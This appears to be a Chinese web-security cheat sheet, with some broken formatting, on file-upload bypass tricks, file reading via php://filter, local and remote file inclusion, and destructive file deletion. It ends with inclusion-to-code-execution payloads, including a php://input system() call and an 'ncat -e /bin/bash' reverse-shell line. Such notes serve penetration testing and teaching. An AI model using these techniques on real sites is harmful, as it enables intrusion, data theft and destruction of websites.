文件操作

文件上传
  1. 字典生成
  2. %00截断
  3. 畸形文件名
    • windows
      • shell.php(%80-99%)
      • NTFS ADS特性
        • shell.php…..
        • shell.php::$Data
        • shell.php:a.jpg
  4. 目录穿越
  5. 文件头绕过
  6. 修改Content-Type
  7. 双文件上传
  8. 超长截断
    • 长文件名
    • 长Content-Disposition
  9. 特殊文件
    • 上传html、htm可以xss
    • swf可以xss
    • pdf在chrome可以做跳转
    • cer、asa、jspx、php5、phtml等可能被当成动态语言解析
    • .htaccess 、.user.ini 、web.config、web.xml等
  10. 无大小和次数限制(无限上传干掉硬盘)
  11. imagemagick命令执行
  12. 文件名绕过
    • a.aspx.a
    • a.aspx.jpg..jpg.asp
    • xx.asp.;.jpg
文件读取
  1. 读取系统敏感文件
  2. 直接包含php文件时php代码会被解析,不能看到源码,因此可以使用封装协议读取: ?page=php://filter/read=convert.base64-encode/resource=config.php
  • 1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13

    ##### 文件包含 #####
    1. 本地文件包含
    2. 远程文件包含

    ##### 文件删除 #####

    1. 删除配置文件,破坏网站
    2. 删除安装锁,从新部署安装

    ###### 文件包含转为代码执行 ######

    + 文件存在包含漏洞的代码如``` <?php @include($_GET["file"])?>
  • 使用php://input, 构造url为 http://xxxx.com/fileinclude.hp?file=php://input

  • 同时使用post提交<?php system(‘ifconfig’);?>
  • 或者使用post提交system(‘ncat -e /bin/bash localhost 1234’);
  • 为了过狗,可以使用data:url格式
文件包含的函数
  • include()
  • require()
  • include_once()
  • require_once()
文章目录
  1. 1. 文件上传
  2. 2. 文件读取
    1. 2.1. 文件包含的函数
,